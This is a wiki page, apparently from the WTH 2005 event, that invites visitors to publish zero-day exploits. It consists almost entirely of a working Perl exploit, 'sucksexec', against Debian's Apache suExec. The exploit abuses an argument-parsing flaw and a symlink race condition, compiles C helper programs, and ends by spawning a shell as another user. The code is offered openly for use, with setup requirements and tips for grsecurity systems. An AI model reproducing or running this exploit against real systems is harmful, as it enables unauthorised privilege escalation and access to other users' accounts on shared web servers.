0days

From What The Wiki?!

Exploiting for fame @WTH, publish your 0day exploit here.... :)


#!/usr/bin/perl
# sucksexec - suExec exploit for debian - dreyer  (luna@aditel.org)
#
#      Affects all Debian's apache being >= 1.3.9  (2.x unaffected)
#
# What you need (lot 'o things...):
#
# 1) apache privileges (can be obtained with mod_php , mod_perl, etc)
# 2) suexec installed as suid root
# 3) target user & group with public_html dir owned by them (>UID_MIN)
#                                                           (>GID_MIN)
# 4) Binary in the system owned by that same user & group
# 5) perl & gcc
# 6) some other checks done by suexec... ~/public_html  accesible,not
#    writable by others etc...
# 7) Patience (you can improve how the attack is done though)
#
#  See /var/log/apache/suexec.log in case it does not work for you
#
# What you will obtain:
#
#  *  Being able to execute whatever binary you want with the privileges
#     of the target user.
#
# Flaw appears on the patch submitted for debian bug #47951 (1999!)
# It was supossed to give the posibility of executing binaries
#  with parameters in SSI extensions through suexec.
# Details: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=47951
#
# Also a race condition that exists in the common suexec is exploited
# After all the checks are done, finally, the program is executed,
#  so we have a small time window to replace the binary being executed.
#
# Thanks to first vulnerability you can execute commands ( if 4) ) as
#  target user outside the ~/public_html "jail" :
#     $ id
#     uid=33(www-data) gid=33(www-data) groups=33(www-data)
#     $ cd ~user/public_html
#     $ /usr/lib/apache/suexec.disabled "~user" "group" " /home/user/bin/wget"
#                                                        ^--- notice space
#     wget: missing URL
#     Usage: wget [OPTION]... [URL]...
#
#     Try `wget --help' for more options.
#
# Mixing previous flaw and the race condition(TOCTOU) we can execute
# whatever command we want if the requirements are met.
#
# zeroday-zeroday-zeroday-zeroday
# Saludos a la gente de !dSR ;)
# Proof of concept
#########################################
# Special public release at WTH 2005! Enjoy!
#####################################################

use Fcntl ':mode';

#Configuration
###############
#Attack Specific
                                                                                 
#Target User and group will be acquired from this file
$valid_cmd="/home/me/bin/wget";

#System Globals
$www_dir="public_html";
$suexec="/usr/lib/apache/suexec.disabled";

#Grsec notice: when attacking a grsec-ured machine
# this has to be changed to /tmp/something and that dir
# created before running this script.
$tmp="/tmp";

$linkdir="$tmp/petete";
$mydir="$tmp/petete2";
############################

$arg=$ARGV[0];

if ($arg eq "shell") {
    &shell();
    exit(1);
}

################
#MAIN
####################
(my($uid_own,$gid_own)=(stat($valid_cmd))[4,5]) ||
                            muere("[-] $!($valid_cmd)\n");

if($uid_own<1000) {
    muere("[-] Target user has uid<1000 ($uid_own)\n");
}

if($gid_own<100) {
    muere("[-] Target group has gid<100 ($gid_own)\n");
}

my($target_user,$target_home)=(getpwuid($uid_own))[0,7];
(my($wuid_own,$wgid_own)=(stat("$target_home/$www_dir"))[4,5]) ||
                            muere("[-] $!($target_home/$www_dir)\n");

if($uid_own!=$wuid_own || $gid_own!=$wgid_own) {
  muere("[-] Owner or group of $valid_cmd and $target_home/$www_dir differ. ($uid_own/$gid_own) != ($wuid_own,$wgid_own)\n");
}

my($target_group)=getgrgid($gid_own);

$tdir=$valid_cmd;
$tdir=~ s/\/[^\/]+$//;
($tprog)=($valid_cmd=~ /\/([^\/]+)$/);
$mylogname=(getpwuid($>))[0];

if($mylogname ne 'www-data') {
    muere("[-] You are not www-data, try to obtain this first. (i.e. mod_php)\n");
}

if(@st=stat($suexec)) {
   muere("[-] $suexec is not setuid root\n") unless(!$st[4] && $st[2]&S_ISUID);
} else {
   muere("[-] $! ($suexec)\n");
}

#Exec code should execute phase2
$exec_code=<<ENDOFC;
int main() {
    setreuid(geteuid(),geteuid());
    execlp("$mydir/s.pl","shell","shell",(char *)0);
}
ENDOFC

$race_code=<<ENDOFC;
int main() {
    int a;
    while(1) {
        unlink("$linkdir");
        symlink("$tdir","$linkdir");
        a++;
        unlink("$linkdir");
        symlink("$mydir","$linkdir");
    }

}
ENDOFC


print "\033[1;33msucksExec\033[0m (exploit for debian's suexec)\n";
print "\033[1;32m dreyer\033[0m\n";
print "[*] Setting up...\n";
&prepare();

#Functions
###############
sub muere {
    my($msg)=@_;
    print "$msg";
    print "[-] Aborted!\n";
    exit(1);
}

sub prepare {
    mkdir("$mydir",0711) || die $!;
    system("chmod go+w $mydir;cp $0 $mydir/s.pl;chmod 755 $mydir/s.pl");
    chdir($mydir);
    system("echo \'$race_code\' > a1.c;gcc -o race a1.c;chmod a+rx race");
    system("echo \'$exec_code\' > a2.c;gcc -o $tprog a2.c;chmod a+rx $tprog");
    #Check suid here
    if(!($child=fork())) {
       print "[*] Executing race condition helper\n";
       exec "./race";
    }
    print "[*] Current privileges => uid=$>(". ((getpwuid($>))[0]) .")\n";
    print "[*] Going through phase1...\n";
    &phase1_www();
    print "[*] Cleaning...\n";
    kill 9,$child;
    unlink($linkdir);
    &clean();
}

sub clean {
    if(chdir($mydir)) {
       unlink("a1.c");
       unlink("a2.c");
       unlink("s.pl");
       unlink("race");
       unlink("$tprog");
       chdir("..");
       rmdir("$mydir");
    }
}

sub phase1_www {
    chdir($target_home);
    chdir($www_dir);
    print "[*] suExec loop\n";
    while (stat("$mydir/s.pl")) {
        system(qq=nice -20 $suexec "~$target_user" "$target_group" "  $linkdir/$tprog"=);
    }
    print "[*] Done!\n";
}

sub shell {
    &clean();
    print "\n[*] Race condition worked!\n";
    print "[*] Do not forget to delete $linkdir and $mydir !\n";
    print "[*] Enjoy your new shell => uid=$>(" . ((getpwuid($>))[0]) .")\n";
    exec "/bin/sh";
}